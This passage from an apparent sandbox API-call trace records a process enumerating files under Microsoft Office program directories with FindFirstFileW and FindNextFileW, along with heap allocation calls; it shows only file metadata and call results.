ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="db2v0801.xsl", cAlternateFileName="")) returned 1 [0284.484] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24cd79fe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24cd79fe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cd79fe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b27, dwReserved0=0x0, dwReserved1=0x0, cFileName="informix.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7339, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24bcc96d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24cb17f6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="orcl7.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d70354, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x858c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d23fc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d23fc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d4a13c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18559, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1393e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlpdw.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d70354, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d70354, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x76a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="sybase.xsl", cAlternateFileName="")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 1 [0284.485] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24d4a13c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24d4a13c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24d70354, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6c42, dwReserved0=0x0, dwReserved1=0x0, cFileName="trdtv2r41.xsl", cAlternateFileName="TRDTV2~1.XSL")) returned 0 [0284.486] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0286.155] GetProcessHeap () returned 0xaf0000 [0286.155] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc43098a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b14c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.dll", cAlternateFileName="MI8069~1.DLL")) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.Dialog.dll", cAlternateFileName="MI3A9E~1.DLL")) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6971e7c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6971e7c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.ConnectionUI.dll", cAlternateFileName="MI58F6~1.DLL")) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d7b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.DataFeedClient.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e78ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f598, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Edm.dll", cAlternateFileName="MI5969~1.DLL")) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaebb622, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaebb622, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaebb622, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc07a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Odata.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0286.156] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8680a1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaa4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Excel.AdomdClient.dll", cAlternateFileName="MI52E9~1.DLL")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefebf763, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefebf763, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1824c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Excel.Amo.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf03d07a0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf03d07a0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x49aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Excel.DataModel.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x82c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Configuration.SString.dll", cAlternateFileName="MIB00C~1.DLL")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb99c21f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb99c21f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x269c0325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3958cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal_xl.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf172f9f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf172f9f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x780cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmgdsrv_xl.dll", cAlternateFileName="MSMGDS~1.DLL")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23428c3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23428c3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x268db502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b20c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolap110_xl.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0286.157] GetProcessHeap () returned 0xaf0000 [0286.158] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36a6270 [0286.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0286.158] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.159] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0286.159] GetProcessHeap () returned 0xaf0000 [0286.159] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0286.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\DataModel\\Resources\\1033\\*", lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0286.159] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.159] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi_xl.rll", cAlternateFileName="MSMDSR~1.RLL")) returned 1 [0286.160] FindNextFileW (in: hFindFile=0xb02d48, lpFindFileData=0x2fce238 | out: lpFindFileData=0x2fce238*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x114ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdsrvi_xl.rll", cAlternateFileName="MSMDSR~1.RLL")) returned 0 [0286.160] FindClose (in: hFindFile=0xb02d48 | out: hFindFile=0xb02d48) returned 1 [0286.160] GetProcessHeap () returned 0xaf0000 [0286.161] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0286.161] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0286.161] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0286.161] GetProcessHeap () returned 0xaf0000 [0286.161] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36a6270 | out: hHeap=0xaf0000) returned 1 [0286.162] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5fa5d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5fa5d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x268b52a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x306c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin_xl.dll", cAlternateFileName="XMLRWB~1.DLL")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x268b52a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x460c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw_xl.dll", cAlternateFileName="")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2897d905, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1803ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv_xl.dll", cAlternateFileName="")) returned 1 [0286.162] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0e95c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0e95c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2897d905, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1803ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmsrv_xl.dll", cAlternateFileName="")) returned 0 [0286.162] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0286.163] GetProcessHeap () returned 0xaf0000 [0286.163] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0286.164] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0286.164] GetProcessHeap () returned 0xaf0000 [0286.164] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0286.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\en-us\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0286.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 1 [0286.164] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, 